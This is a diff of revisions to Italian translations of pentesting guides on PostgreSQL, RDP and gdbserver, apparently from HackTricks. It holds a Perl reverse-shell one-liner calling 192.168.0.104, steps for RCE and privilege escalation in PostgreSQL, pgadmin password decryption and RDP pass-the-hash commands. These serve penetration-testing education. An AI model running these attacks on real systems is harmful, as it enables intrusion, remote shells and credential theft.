6. Ricarica il filenode modificato tramite le funzioni `lo_*` e sovrascrivi il file originale sul disco
|
||||
6. Carica nuovamente il filenode modificato tramite le funzioni `lo_*` e sovrascrivi il file originale sul disco
|
||||
|
||||
```sql
|
||||
SELECT lo_from_bytea(13338,decode('{FILENODE_MODIFICATO_IN_BASE64}','base64'))
|
||||
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
|
||||
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
|
||||
```
|
||||
7. _(Opzionale)_ Svuota la cache della tabella in memoria eseguendo una query SQL costosa
|
||||
7. _(Opzionale)_ Cancella la cache della tabella in memoria eseguendo una query SQL costosa
|
||||
|
||||
```sql
|
||||
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
|
||||
```
|
||||
8. Ora dovresti vedere i valori della tabella aggiornati nel PostgreSQL.
|
||||
|
||||
Puoi anche diventare un superadmin modificando la tabella `pg_authid`. **Vedi** [**la seguente sezione**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
|
||||
Puoi diventare anche un superadmin modificando la tabella `pg_authid`. **Vedi** [**la seguente sezione**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
|
||||
|
||||
## RCE
|
||||
|
||||
### **RCE verso un programma**
|
||||
### **RCE al programma**
|
||||
|
||||
Dal[ versione 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), solo **super utenti** e membri del gruppo **`pg_execute_server_program`** possono utilizzare copy per RCE (esempio con esfiltrazione:
|
||||
```sql
|
||||
|
@ -435,11 +500,11 @@ DROP TABLE IF EXISTS cmd_exec;
|
|||
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Ricorda che se non sei un super utente ma hai i permessi **`CREATEROLE`** puoi **aggiungerti come membro di quel gruppo:**
|
||||
Ricorda che se non sei un super utente ma hai i permessi **`CREATEROLE`** puoi **renderti membro di quel gruppo:**
|
||||
```sql
|
||||
GRANT pg_execute_server_program TO username;
|
||||
```
|
||||
[**Maggiori informazioni.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
[**Ulteriori informazioni.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
{% endhint %}
|
||||
|
||||
Oppure utilizzare il modulo `multi/postgres/postgres_copy_from_program_cmd_exec` da **metasploit**.\
|
||||
|
@ -451,7 +516,7 @@ Ulteriori informazioni su questa vulnerabilità [**qui**](https://medium.com/gre
|
|||
[rce-with-postgresql-languages.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### RCE con Estensioni PostgreSQL
|
||||
### RCE con estensioni PostgreSQL
|
||||
|
||||
Una volta che hai **imparato** dal post precedente **come caricare file binari**, potresti provare a ottenere **RCE caricando un'estensione postgresql e caricandola**.
|
||||
|
||||
|
@ -476,7 +541,7 @@ Ulteriori informazioni [su questa tecnica qui](https://pulsesecurity.co.nz/artic
|
|||
Il file di configurazione ha alcuni attributi interessanti che possono portare a RCE:
|
||||
|
||||
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Percorso della chiave privata del database
|
||||
* `ssl_passphrase_command = ''` Se il file privato è protetto da password (criptato) postgresql **eseguirà il comando indicato in questo attributo**.
|
||||
* `ssl_passphrase_command = ''` Se il file privato è protetto da password (criptato), postgresql **eseguirà il comando indicato in questo attributo**.
|
||||
* `ssl_passphrase_command_supports_reload = off` **Se** questo attributo è **on**, il **comando** eseguito se la chiave è protetta da password **verrà eseguito** quando viene eseguito `pg_reload_conf()`.
|
||||
|
||||
Quindi, un attaccante dovrà:
|
||||
|
@ -499,7 +564,7 @@ Durante i test ho notato che ciò funzionerà solo se il **file della chiave pri
|
|||
|
||||
Un altro attributo nel file di configurazione che è sfruttabile è `archive_command`.
|
||||
|
||||
Per far funzionare questo, l'impostazione `archive_mode` deve essere `'on'` o `'always'`. Se è vero, allora potremmo sovrascrivere il comando in `archive_command` e forzarlo ad eseguire tramite le operazioni WAL (write-ahead logging).
|
||||
Per far funzionare questo, l'impostazione `archive_mode` deve essere `'on'` o `'always'`. Se è vero, allora potremmo sovrascrivere il comando in `archive_command` e forzarlo ad eseguire tramite le operazioni di WAL (write-ahead logging).
|
||||
|
||||
I passaggi generali sono:
|
||||
|
||||
|
@ -508,7 +573,7 @@ I passaggi generali sono:
|
|||
3. Ricaricare la configurazione: `SELECT pg_reload_conf()`
|
||||
4. Forzare l'operazione WAL a eseguire, che chiamerà il comando di archiviazione: `SELECT pg_switch_wal()` o `SELECT pg_switch_xlog()` per alcune versioni di Postgres
|
||||
|
||||
#### **RCE con librerie di caricamento anticipato**
|
||||
#### **RCE con librerie di precaricamento**
|
||||
|
||||
Ulteriori informazioni [su questa tecnica qui](https://adeadfed.com/posts/postgresql-select-only-rce/).
|
||||
|
||||
|
@ -525,7 +590,7 @@ I passaggi dell'attacco sono:
|
|||
2. Includere la directory `/tmp/` nel valore di `dynamic_library_path`, ad esempio `dynamic_library_path = '/tmp:$libdir'`
|
||||
3. Includere il nome della libreria dannosa nel valore di `session_preload_libraries`, ad esempio `session_preload_libraries = 'payload.so'`
|
||||
4. Verificare la versione principale di PostgreSQL tramite la query `SELECT version()`
|
||||
5. Compilare il codice della libreria dannosa con il pacchetto dev PostgreSQL corretto Codice di esempio:
|
||||
5. Compilare il codice della libreria dannosa con il pacchetto dev corretto di PostgreSQL Esempio di codice:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
@ -571,7 +636,7 @@ Compilare il codice:
|
|||
```bash
|
||||
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
|
||||
```
|
||||
6. Caricare il `postgresql.conf` dannoso, creato nei passaggi 2-3, e sovrascrivere l'originale
|
||||
6. Caricare il `postgresql.conf` dannoso creato nei passaggi 2-3 e sovrascrivere l'originale
|
||||
7. Caricare il `payload.so` dal passaggio 5 nella directory `/tmp`
|
||||
8. Ricaricare la configurazione del server riavviando il server o invocando la query `SELECT pg_reload_conf()`
|
||||
9. Alla successiva connessione al DB, riceverai la connessione della shell inversa.
|
||||
|
@ -581,9 +646,9 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
|
|||
|
||||
#### **Concessione**
|
||||
|
||||
Secondo i [**documenti**](https://www.postgresql.org/docs/13/sql-grant.html): _I ruoli che hanno il privilegio **`CREATEROLE`** possono **concedere o revocare l'appartenenza a qualsiasi ruolo** che **non** è un **superuser**._
|
||||
Secondo i [**documenti**](https://www.postgresql.org/docs/13/sql-grant.html): _I ruoli che hanno il privilegio **`CREATEROLE`** possono **concedere o revocare l'appartenenza a qualsiasi ruolo** che **non** è un **superutente**._
|
||||
|
||||
Quindi, se hai il permesso di **`CREATEROLE`** potresti concederti l'accesso ad altri **ruoli** (che non siano superuser) che ti consentono di leggere e scrivere file ed eseguire comandi:
|
||||
Quindi, se hai il permesso di **`CREATEROLE`** potresti concederti l'accesso ad altri **ruoli** (che non siano superutenti) che ti consentono di leggere e scrivere file ed eseguire comandi:
|
||||
```sql
|
||||
# Access to execute commands
|
||||
GRANT pg_execute_server_program TO username;
|
||||
|
@ -594,7 +659,7 @@ GRANT pg_write_server_files TO username;
|
|||
```
|
||||
#### Modifica Password
|
||||
|
||||
Gli utenti con questo ruolo possono anche **cambiare** le **password** di altri **non-superutenti**:
|
||||
Gli utenti con questo ruolo possono anche **modificare** le **password** di altri **non-superutenti**:
|
||||
```sql
|
||||
#Change password
|
||||
ALTER USER user_name WITH PASSWORD 'new_password';
|
||||
|
@ -623,7 +688,7 @@ In [**questo articolo**](https://www.wiz.io/blog/the-cloud-has-an-isolation-prob
|
|||
|
||||
Quando si cerca di **assegnare la proprietà di una tabella a un altro utente**, dovresti ricevere un **errore** che lo impedisce, ma apparentemente GCP ha dato questa **opzione all'utente postgres non-superuser** in GCP:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Unendo questa idea al fatto che quando i comandi **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) vengono eseguiti su una **tabella con una funzione di indice**, la **funzione** viene **chiamata** come parte del comando con i **permessi del proprietario della tabella**. È possibile creare un indice con una funzione e dare i permessi di proprietario a un **super utente** su quella tabella, e quindi eseguire ANALYZE sulla tabella con la funzione dannosa che sarà in grado di eseguire comandi perché sta utilizzando i privilegi del proprietario.
|
||||
```c
|
||||
|
@ -634,10 +699,10 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
|
|||
#### Sfruttamento
|
||||
|
||||
1. Inizia creando una nuova tabella.
|
||||
2. Inserisci del contenuto non rilevante nella tabella per fornire dati alla funzione di indice.
|
||||
2. Inserisci alcuni contenuti irrilevanti nella tabella per fornire dati per la funzione di indice.
|
||||
3. Sviluppa una funzione di indice dannosa che contiene un payload di esecuzione del codice, consentendo l'esecuzione di comandi non autorizzati.
|
||||
4. ALTERA il proprietario della tabella in "cloudsqladmin," che è il ruolo di superutente di GCP utilizzato esclusivamente da Cloud SQL per gestire e mantenere il database.
|
||||
5. Esegui un'operazione ANALYZE sulla tabella. Questa azione costringe il motore PostgreSQL a passare al contesto utente del proprietario della tabella, "cloudsqladmin." Di conseguenza, la funzione di indice dannosa viene chiamata con i permessi di "cloudsqladmin," consentendo così l'esecuzione del comando shell precedentemente non autorizzato.
|
||||
5. Esegui un'operazione ANALYZE sulla tabella. Questa azione costringe il motore PostgreSQL a passare al contesto utente del proprietario della tabella, "cloudsqladmin." Di conseguenza, la funzione di indice dannosa viene chiamata con i permessi di "cloudsqladmin," consentendo l'esecuzione del comando shell precedentemente non autorizzato.
|
||||
|
||||
In PostgreSQL, questo flusso appare più o meno così:
|
||||
```sql
|
||||
|
@ -685,7 +750,7 @@ CREATE EXTENSION dblink;
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
Se hai la password di un utente con privilegi superiori, ma all'utente non è consentito effettuare il login da un IP esterno, puoi utilizzare la seguente funzione per eseguire query come quell'utente:
|
||||
Se hai la password di un utente con più privilegi, ma all'utente non è consentito effettuare il login da un IP esterno, puoi utilizzare la seguente funzione per eseguire query come quell'utente:
|
||||
```sql
|
||||
SELECT * FROM dblink('host=127.0.0.1
|
||||
user=someuser
|
||||
|
@ -699,7 +764,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
|
|||
```
|
||||
### **Funzione definita dall'utente con** SECURITY DEFINER
|
||||
|
||||
[Nel seguente articolo](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), i pentester sono riusciti a ottenere privilegi all'interno di un'istanza di postgres fornita da IBM, poiché **hanno trovato questa funzione con il flag SECURITY DEFINER**:
|
||||
[Nel seguente articolo](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), i pentester sono riusciti a ottenere privilegi all'interno di un'istanza di postgres fornita da IBM, poiché hanno **trovato questa funzione con il flag SECURITY DEFINER**:
|
||||
|
||||
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
|
||||
RETURNS text
|
||||
|
@ -720,7 +785,7 @@ PERFORM dblink_disconnect();
|
|||
…
|
||||
</code></pre>
|
||||
|
||||
Come [**spiegato nella documentazione**](https://www.postgresql.org/docs/current/sql-createfunction.html) una funzione con **SECURITY DEFINER viene eseguita** con i privilegi dell'**utente che la possiede**. Pertanto, se la funzione è **vulnerabile all'SQL Injection** o sta eseguendo **azioni privilegiate con parametri controllati dall'attaccante**, potrebbe essere sfruttata per **escalare i privilegi all'interno di postgres**.
|
||||
Come [**spiegato nella documentazione**](https://www.postgresql.org/docs/current/sql-createfunction.html) una funzione con **SECURITY DEFINER viene eseguita** con i privilegi dell'**utente che la possiede**. Pertanto, se la funzione è **vulnerabile all'SQL Injection** o sta eseguendo **azioni privilegiate con parametri controllati dall'attaccante**, potrebbe essere abusata per **escalare i privilegi all'interno di postgres**.
|
||||
|
||||
Nella riga 4 del codice precedente è possibile vedere che la funzione ha il flag **SECURITY DEFINER**.
|
||||
```sql
|
||||
|
@ -744,10 +809,10 @@ E poi **eseguire comandi**:
|
|||
### Privesc sovrascrivendo le tabelle interne di PostgreSQL
|
||||
|
||||
{% hint style="info" %}
|
||||
Il seguente vettore di privesc è particolarmente utile in contesti di SQLi limitati, poiché tutti i passaggi possono essere eseguiti tramite istruzioni SELECT nidificate
|
||||
Il seguente vettore di privesc è particolarmente utile in contesti di SQLi limitati, poiché tutti i passaggi possono essere eseguiti tramite SELECT annidati
|
||||
{% endhint %}
|
||||
|
||||
Se puoi **leggere e scrivere file del server PostgreSQL**, puoi **diventare un superutente** sovrascrivendo il filenode su disco di PostgreSQL, associato alla tabella interna `pg_authid`.
|
||||
Se puoi **leggere e scrivere file del server PostgreSQL**, puoi **diventare un superutente** sovrascrivendo il filenode su disco associato alla tabella interna `pg_authid`.
|
||||
|
||||
Leggi di più su **questa tecnica** [**qui**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.**
|
||||
|
||||
|
@ -787,7 +852,7 @@ Quindi, **riavvia il servizio**.
|
|||
|
||||
[pgadmin](https://www.pgadmin.org) è una piattaforma di amministrazione e sviluppo per PostgreSQL.\
|
||||
Puoi trovare **password** all'interno del file _**pgadmin4.db**_\
|
||||
Puoi decifrarle utilizzando la funzione _**decrypt**_ all'interno dello script: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
|
||||
Puoi decifrarli utilizzando la funzione _**decrypt**_ all'interno dello script: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
|
||||
```bash
|
||||
sqlite3 pgadmin4.db ".schema"
|
||||
sqlite3 pgadmin4.db "select * from user;"
|
||||
|
@ -796,9 +861,9 @@ string pgadmin4.db
|
|||
```
|
||||
### pg\_hba
|
||||
|
||||
L'autenticazione del client in PostgreSQL è gestita attraverso un file di configurazione chiamato **pg\_hba.conf**. Questo file contiene una serie di record, ciascuno specificando un tipo di connessione, intervallo di indirizzi IP del client (se applicabile), nome del database, nome utente e il metodo di autenticazione da utilizzare per le connessioni corrispondenti. Il primo record che corrisponde al tipo di connessione, all'indirizzo del client, al database richiesto e al nome utente viene utilizzato per l'autenticazione. Non c'è alcun fallback o backup se l'autenticazione fallisce. Se nessun record corrisponde, l'accesso viene negato.
|
||||
L'autenticazione del client in PostgreSQL è gestita attraverso un file di configurazione chiamato **pg\_hba.conf**. Questo file contiene una serie di record, ciascuno specificando un tipo di connessione, intervallo di indirizzi IP del client (se applicabile), nome del database, nome utente e il metodo di autenticazione da utilizzare per le connessioni corrispondenti. Il primo record che corrisponde al tipo di connessione, all'indirizzo del client, al database richiesto e al nome utente viene utilizzato per l'autenticazione. Non c'è alcun fallback o backup se l'autenticazione fallisce. Se nessun record corrisponde, l'accesso è negato.
|
||||
|
||||
I metodi di autenticazione basati su password disponibili in pg\_hba.conf sono **md5**, **crypt** e **password**. Questi metodi differiscono per come la password viene trasmessa: in formato MD5-hash, crittografata con crypt o in testo normale. È importante notare che il metodo crypt non può essere utilizzato con password che sono state crittografate in pg\_authid.
|
||||
I metodi di autenticazione basati su password disponibili in pg\_hba.conf sono **md5**, **crypt** e **password**. Questi metodi differiscono nel modo in cui la password viene trasmessa: in formato MD5-hash, crittografata con crypt o in testo normale. È importante notare che il metodo crypt non può essere utilizzato con password che sono state crittografate in pg\_authid.
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -808,9 +873,9 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
|
||||
|
||||
</details>
|
||||
|
||||
|
|
|
@ -7,16 +7,16 @@
|
|||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un test di penetrazione completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un test di penetrazione completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -39,7 +39,7 @@ nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 338
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Controlla le cifrature disponibili e la vulnerabilità DoS (senza causare DoS al servizio) e ottiene informazioni su Windows NTLM (versioni).
|
||||
Controlla la crittografia disponibile e la vulnerabilità DoS (senza causare DoS al servizio) e ottiene informazioni su Windows NTLM (versioni).
|
||||
|
||||
### [Brute force](../generic-methodologies-and-resources/brute-force.md#rdp)
|
||||
|
||||
|
@ -63,13 +63,13 @@ xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
|
|||
```
|
||||
### Verifica delle credenziali conosciute contro i servizi RDP
|
||||
|
||||
rdp\_check.py di impacket ti permette di verificare se alcune credenziali sono valide per un servizio RDP:
|
||||
rdp_check.py di Impacket ti permette di verificare se alcune credenziali sono valide per un servizio RDP:
|
||||
```bash
|
||||
rdp_check <domain>/<name>:<password>@<IP>
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, ottenere shell e divertirsi.
|
||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -122,14 +122,16 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
|||
|
||||
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
||||
|
||||
**AutoRDPwn** è un framework di post-exploitation creato in Powershell, progettato principalmente per automatizzare l'attacco **Shadow** sui computer Microsoft Windows. Questa vulnerabilità (elencata come una funzionalità da Microsoft) consente a un attaccante remoto di **visualizzare il desktop della vittima senza il suo consenso**, e persino controllarlo su richiesta, utilizzando strumenti nativi del sistema operativo stesso.
|
||||
**AutoRDPwn** è un framework di post-exploitation creato in Powershell, progettato principalmente per automatizzare l'attacco **Shadow** su computer Microsoft Windows. Questa vulnerabilità (elencata come una funzionalità da Microsoft) consente a un attaccante remoto di **visualizzare il desktop della vittima senza il suo consenso**, e persino controllarlo su richiesta, utilizzando strumenti nativi del sistema operativo stesso.
|
||||
|
||||
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||||
* Controlla il mouse e la tastiera in modo automatizzato da riga di comando
|
||||
* Controlla gli appunti in modo automatizzato da riga di comando
|
||||
* Avvia un proxy SOCKS dal client che instrada la comunicazione di rete verso il target tramite RDP
|
||||
* Esegui comandi SHELL e PowerShell arbitrari sul target senza caricare file
|
||||
* Esegue comandi SHELL e PowerShell arbitrari sul target senza caricare file
|
||||
* Carica e scarica file da/per il target anche quando i trasferimenti di file sono disabilitati sul target
|
||||
|
||||
## Comandi Automatici di HackTricks
|
||||
```
|
||||
Protocol_Name: RDP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 3389 #Comma separated if there is more than one.
|
||||
|
@ -148,7 +150,7 @@ Name: Nmap
|
|||
Description: Nmap with RDP Scripts
|
||||
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di approfondire, ottenere shell e divertirsi.
|
||||
|
||||
|
@ -162,7 +164,7 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
|
@ -7,22 +7,22 @@
|
|||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi.
|
||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## **Informazioni di Base**
|
||||
|
||||
**gdbserver** è uno strumento che consente il debug di programmi in remoto. Viene eseguito insieme al programma che necessita di debug sullo stesso sistema, noto come "target". Questa configurazione consente al **GNU Debugger** di connettersi da una macchina diversa, l'"host", dove sono memorizzati il codice sorgente e una copia binaria del programma debuggato. La connessione tra **gdbserver** e il debugger può essere effettuata tramite TCP o una linea seriale, consentendo configurazioni di debug versatili.
|
||||
**gdbserver** è uno strumento che consente il debug di programmi in remoto. Viene eseguito insieme al programma che necessita di debug sullo stesso sistema, noto come "target". Questa configurazione consente al **GNU Debugger** di connettersi da una macchina diversa, l'"host", dove sono memorizzati il codice sorgente e una copia binaria del programma in debug. La connessione tra **gdbserver** e il debugger può essere effettuata tramite TCP o una linea seriale, consentendo configurazioni di debug versatili.
|
||||
|
||||
Puoi fare in modo che un **gdbserver ascolti su qualsiasi porta** e al momento **nmap non è in grado di riconoscere il servizio**.
|
||||
|
||||
|
@ -55,7 +55,7 @@ run
|
|||
```
|
||||
### Esegui comandi arbitrari
|
||||
|
||||
C'è un altro modo per **far eseguire al debugger comandi arbitrari tramite uno** [**script personalizzato in python preso da qui**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
|
||||
C'è un altro modo per **far eseguire comandi arbitrari al debugger tramite uno** [**script personalizzato in python preso da qui**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
|
||||
```bash
|
||||
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
|
||||
target extended-remote 192.168.1.4:2345
|
||||
|
@ -195,9 +195,9 @@ RemoteCmd()
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
